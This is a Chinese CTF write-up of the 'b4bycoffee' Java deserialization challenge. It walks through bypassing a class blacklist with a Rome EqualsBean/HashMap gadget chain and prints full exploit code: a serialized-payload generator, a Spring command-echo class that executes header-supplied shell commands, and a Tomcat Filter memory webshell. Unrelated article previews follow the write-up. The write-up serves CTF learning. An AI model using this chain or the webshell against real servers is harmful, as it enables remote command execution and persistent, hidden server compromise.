【Web】记录[长城杯 2022 高校组]b4bycoffee题目复现

目录

前言

环境准备

简单分析

EXP(两种打法)

生成Payload

恶意类

①Spring命令执行回显类

②Filter型内存马


前言

本地jar包运行打通了,远程500,nss靶机有问题,换了bugku就可(

主要记录下做题过程,纯菜狗,小白文

环境准备

这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目

需要进行如下的处理

先是对jar包进行解压

用jadx-gui打开

 

 

简单分析

先来看pom

比较刺眼的是Rome依赖,还有spring可能会用于写内存马

接着注意到/b4by/coffee路由,此处便是反序列化入口

AntObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单

可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类

好在EqualsBean还是在的,依然可以配合HashMap来触发ToString

此外AntObjectInputStream还重写了resolveClass,就是配合黑名单用的

现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?

“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”

我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。

那这不就易如反掌易如反掌了吗(

手搓链子(不会tabby,锐意学习中)

java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString

EXP(两种打法)

记得pom里再导一个javassist依赖

<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency>

生成Payload

 GenPayload.java

package com.example.b4bycoffee.exp;import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import javassist.ClassPool;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class GenPayload {public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}public static String getPayLoad() throws Exception {byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode();CoffeeBean coffeeBean = new CoffeeBean();setFieldValue(coffeeBean, "ClassByte", code);EqualsBean equalsBean = new EqualsBean(String.class, "test");HashMap map = new HashMap();map.put(equalsBean, "xxx");setFieldValue(equalsBean, "obj", coffeeBean);setFieldValue(equalsBean, "beanClass", CoffeeBean.class);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(map);oos.close();String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));System.out.println(payload);return payload;}public static void main(String[] args) throws Exception {getPayLoad();}
}

恶意类

①Spring命令执行回显类

SpringEcho.java

不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ

命令执行用下面SpringEcho类来回显

(参考链接:java回显学习 | 现科信息安全协会)

package com.example.b4bycoffee.exp;import java.lang.reflect.Method;
import java.util.Scanner;public class SpringEcho {static {try {Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getResponse");Method m1 = c.getMethod("getRequest");Object resp = m.invoke(o);Object req = m1.invoke(o); // HttpServletRequestMethod getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);getHeader.setAccessible(true);getWriter.setAccessible(true);Object writer = getWriter.invoke(resp);String cmd = (String)getHeader.invoke(req, "cmd");String[] commands = new String[3];if (System.getProperty("os.name").toUpperCase().contains("WIN")) {commands[0] = "cmd";commands[1] = "/c";} else {commands[0] = "/bin/sh";commands[1] = "-c";}commands[2] = cmd;writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());writer.getClass().getDeclaredMethod("flush").invoke(writer);writer.getClass().getDeclaredMethod("close").invoke(writer);} catch (Exception e) {}}
}

header注入cmd即可

②Filter型内存马

package com.example.b4bycoffee.exp;import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.springframework.context.ApplicationContext;import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class TomcatInject implements Filter {private static final String filterUrlPattern = "/*";private static final String filterName = "Z3r4y";static {try {ServletContext servletContext = getServletContext();if (servletContext != null) {Field ctx = servletContext.getClass().getDeclaredField("context");ctx.setAccessible(true);ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);Field stdctx = appctx.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(appctx);if (standardContext != null) {// 这样设置不会抛出报错Field stateField =org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");stateField.setAccessible(true);stateField.set(standardContext, LifecycleState.STARTING_PREP);Filter myFilter = new TomcatInject();// 调用 doFilter 来动态添加我们的 Filter// 这里也可以利用反射来添加我们的 Filterjavax.servlet.FilterRegistration.Dynamic filterRegistration =servletContext.addFilter(filterName, myFilter);// 进行一些简单的设置filterRegistration.setInitParameter("encoding", "utf-8");filterRegistration.setAsyncSupported(false);// 设置基本的 url patternfilterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),false,new String[] {"/*"});// 将服务重新修改回来,不然的话服务会无法正常进行if (stateField != null) {stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);}// 在设置之后我们需要 调用 filterstartif (standardContext != null) {// 设置filter之后调用 filterstart 来启动我们的 filterMethod filterStartMethod =StandardContext.class.getDeclaredMethod("filterStart");filterStartMethod.setAccessible(true);filterStartMethod.invoke(standardContext, null);/** 将我们的 filtermap 插入到最前面 */Class ccc = null;try {ccc =Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");} catch (Throwable t) {}if (ccc == null) {try {ccc = Class.forName("org.apache.catalina.deploy.FilterMap");} catch (Throwable t) {}}// 把filter插到第一位Method m =Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");Object[] filterMaps = (Object[]) m.invoke(standardContext);Object[] tmpFilterMaps = new Object[filterMaps.length];int index = 1;for (int i = 0; i < filterMaps.length; i++) {Object o = filterMaps[i];m = ccc.getMethod("getFilterName");String name = (String) m.invoke(o);if (name.equalsIgnoreCase(filterName)) {tmpFilterMaps[0] = o;} else {tmpFilterMaps[index++] = filterMaps[i];}}for (int i = 0; i < filterMaps.length; i++) {filterMaps[i] = tmpFilterMaps[i];}}}}} catch (Exception e) {e.printStackTrace();}}// webshell命令参数名private final String cmdParamName = "cmd";private static ServletContext getServletContext()throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {ServletRequest servletRequest = null;// shell注入,前提需要能拿到request、response等Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");f.setAccessible(true);ThreadLocal threadLocal = (ThreadLocal) f.get(null);// 不为空则意味着第一次反序列化的准备工作已成功if (threadLocal != null && threadLocal.get() != null) {servletRequest = (ServletRequest) threadLocal.get();}// 如果不能去到request,则换一种方式尝试获取// spring获取法1if (servletRequest == null) {try {c =Class.forName("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c =Class.forName("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getRequest");servletRequest = (ServletRequest) m.invoke(o);} catch (Throwable t) {}}if (servletRequest != null) return servletRequest.getServletContext();// spring获取法2try {c = Class.forName("org.springframework.web.context.ContextLoader");Method m = c.getMethod("getCurrentWebApplicationContext");Object o = m.invoke(null);c = Class.forName("org.springframework.web.context.WebApplicationContext");m = c.getMethod("getServletContext");ServletContext servletContext = (ServletContext) m.invoke(o);return servletContext;} catch (Throwable t) {}return null;}@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throws IOException, ServletException {System.out.println("TomcatShellInject doFilter.....................................................................");String cmd;if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {Process process = Runtime.getRuntime().exec(cmd);java.io.BufferedReader bufferedReader =new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {}
}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/752310.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Puppet 代码入门:清单和模块

简介 在设置代理/主配置的 Puppet 后&#xff0c;您可能需要一些帮助来编写 Puppet 清单和模块。为了有效地使用 Puppet&#xff0c;您必须了解清单和模块的构造方式。本教程涵盖了 Puppet 代码的基础知识&#xff0c;并将向您展示如何构建清单和模块&#xff0c;以帮助您开始…

Euler angles and Quaterean

what is Euler angles ?&#xff08;欧拉角是什么东西&#xff1f;&#xff09; The Euler angles are three angles introduced by Leonhard Euler to describe the orientation of a rigid body with respect to a fixed coordinate system (被欧拉引入用三个角度来描述刚体…

Linux——开发工具yum与vim

Linux——开发工具yum与vim 文章目录 Linux——开发工具yum与vim一、Linux 软件包管理器-yum1.1 什么是软件包1.2 yum的使用 二、linux下的编辑器-vim2.1 vim的基本概念2.2 vim的基本操作插入模式下的基本命令底行模式下的基本指令 2.3 vim的配置 一、Linux 软件包管理器-yum …

鸿蒙内核系统

一、系统设计总纲 1.1鸿蒙战略设计目标 全场景1.2鸿蒙操作系统目标实现的技术支撑1.2.1分布式设计1.2.2一次开发&#xff0c;多端部署1.2.3系统与硬件解耦&#xff0c;弹性部署1.3鸿蒙操作系统技术架构1.3.1内核层1.3.2系统服务层1.3.3框架层1.3.4应用层1.4本章小结 二、鸿蒙的…

8-图像缩放

其实&#xff0c;就是开辟一个zoomwidth&#xff0c;zoomheight的内存&#xff0c;再分别赋值即可。 void CDib::Scale(float xZoom, float yZoom) { //指向原图像指针 LPBYTE p_data GetData(); //指向原像素的指针 LPBYTE lpSrc; //指向缩放图像对应像素的指针 LPBYTE lpDs…

数据结构——lesson8二叉树的实现

&#x1f49e;&#x1f49e; 前言 hello hello~ &#xff0c;这里是大耳朵土土垚~&#x1f496;&#x1f496; &#xff0c;欢迎大家点赞&#x1f973;&#x1f973;关注&#x1f4a5;&#x1f4a5;收藏&#x1f339;&#x1f339;&#x1f339; &#x1f4a5;个人主页&#x…

论文阅读——BLIP

BLIP: Bootstrapping Language-Image Pre-training for Unified Vision-Language Understanding and Generation &#xff08;1&#xff09;单模态编码器&#xff0c;它分别对图像和文本进行编码。图像编码器用ViT&#xff0c;并使用附加的 [CLS] 标记来表示全局图像特征。文本…

springcloud:4.1 GateWay

概述 Gateway 简介 Spring Cloud Gateway基于Spring 5.0、SpringBoot 2.0和Project Reactor等技术开发 旨在为微服务架构提供一种简单有效的、统一的API路由管理方式&#xff0c;并为微服务架构提供安全、监控、指标和弹性等功能 其目标是替代Zuul特点 易于编写谓词和过滤器&…

解决谷歌浏览器最新chrome94版本CORS跨域问题

项目场景&#xff1a; 谷歌浏览器升级到chrome94版本出现CORS跨域问题 问题描述 解决谷歌浏览器最新chrome94版本CORS跨域问题。 CORS跨域问题&#xff1a; 升级谷歌浏览器最新chrome94版本后&#xff0c;提示Access to XMLHttpRequest at ‘http://localhost:xxxx/api’ fro…

zabbix企业微信接入结合海螺问问编写的shell脚本

前言 博客懒得写详细了&#xff0c;视频剪的累死了&#xff0c;看视频就好了 白帽小丑的个人空间-白帽小丑个人主页-哔哩哔哩视频 shell脚本 #!/bin/bash #set -x CorpID"" #我的企业下面的CorpID Secret"" #创建的应用那…

【Numpy】(3)数组操作

索引 基本索引 NumPy索引类似于Python列表的索引,但它提供了更多的功能。对于一维数组,你可以使用整数索引访问特定位置的元素: import numpy as nparr = np.array([1, 2, 3, 4]) print(arr[2]) # 输出:3对于多维数组,你可以使用逗号分隔的索引元组来访问元素: arr …

C++:什么情况下函数应该声明为纯虚函数

在C中&#xff0c;函数应该在以下情况下声明为纯虚函数&#xff1a; 抽象基类&#xff1a;当你希望定义一个基类&#xff0c;该基类不能被实例化&#xff0c;只能作为其他类的基类时&#xff0c;你应该在基类中声明至少一个纯虚函数。这样的基类被称为抽象基类。纯虚函数通过在…

python实现多进程循环共享内存队列

python实现多进程循环共享内存队列 python >=3.8 1、原理流程 生产者消费者模式: 创建一个size大小的共享内存列表,前三个分别保存头指针、尾指针、锁 一个进程生产数据 多个进程消费数据 消费数据时通过锁来保证已消费的数据不能再被取出,已消费的数据置为None1、创建…

C到C++的敲门砖-1

文章目录 关键字命名空间输入和输出缺省参数函数重载 关键字 相较于C语言32个关键字&#xff1a; autodoubleintstructbreakelselongswitchcaseenumregistertypedefcharexternreturnunionconstfloatshortunsignedcontinueforsignedvoiddefaultgotosizeofvolatiledoifwhilesta…

全量知识系统“全基因序列”程序构想之1

序 这段时间使用AI工具来完善系统的设计。这几天的话题一直都是 使设计可能完成的一个起点&#xff0c;就是“全基因序列”。从这个文字表述上就可以看出&#xff0c;它将可能是需求文档、程序概要结构和数据库三部分的融合体。 计划从今天开始 深入这个话题&#xff0c;目标…

Everything:文件查找工具,一搜即得

名人说:东边日出西边雨,道是无晴却有晴。——刘禹锡 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 一、软件介绍①Everything②核心功能③原理二、下载安装①下载②安装三、使用方法①文件搜索②高级搜索③快捷唤起四、总结

用python写网络爬虫:2.urllib库的基本用法

文章目录 urllib库抓取网页data参数timeout参数更灵活地配置参数登录代理Cookies 参考书籍 建议新入门的小伙伴先看我同一专栏的文章&#xff1a;用python写网络爬虫&#xff1a;1.基础知识 urllib库 urllib是python中一个最基础的HTTP库&#xff0c;一般是内置的&#xff0c;…

spotbugs不兼容IDEA2023.2

运行时出现报错&#xff0c;之后spotBugs就是灰色的了 spotbugs java.lang.LinkageError: loader constraint violation: when resolving method org.slf4j.ILoggerFactory org.slf4j.impl.StaticLoggerBinder.getLoggerFactory() the class loader com.intellij.ide.plugins.…

2024年 前端JavaScript Web APIs 第三天 笔记

3.1-表单全选反选案例 <!DOCTYPE html><html><head lang"en"><meta charset"UTF-8"><title></title><style>* {margin: 0;padding: 0;}table {border-collapse: collapse;border-spacing: 0;border: 1px solid …

网络安全实训Day5

写在前面 昨天忘更新了......讲的内容不多&#xff0c;就一个NAT。 之前记的NAT的内容&#xff1a;blog.csdn.net/Yisitelz/article/details/131840119 网络安全实训-网络工程 NAT 公网地址与私网地址 公网地址 可以在互联网上被寻址&#xff0c;由运营商统一分配全球唯一的I…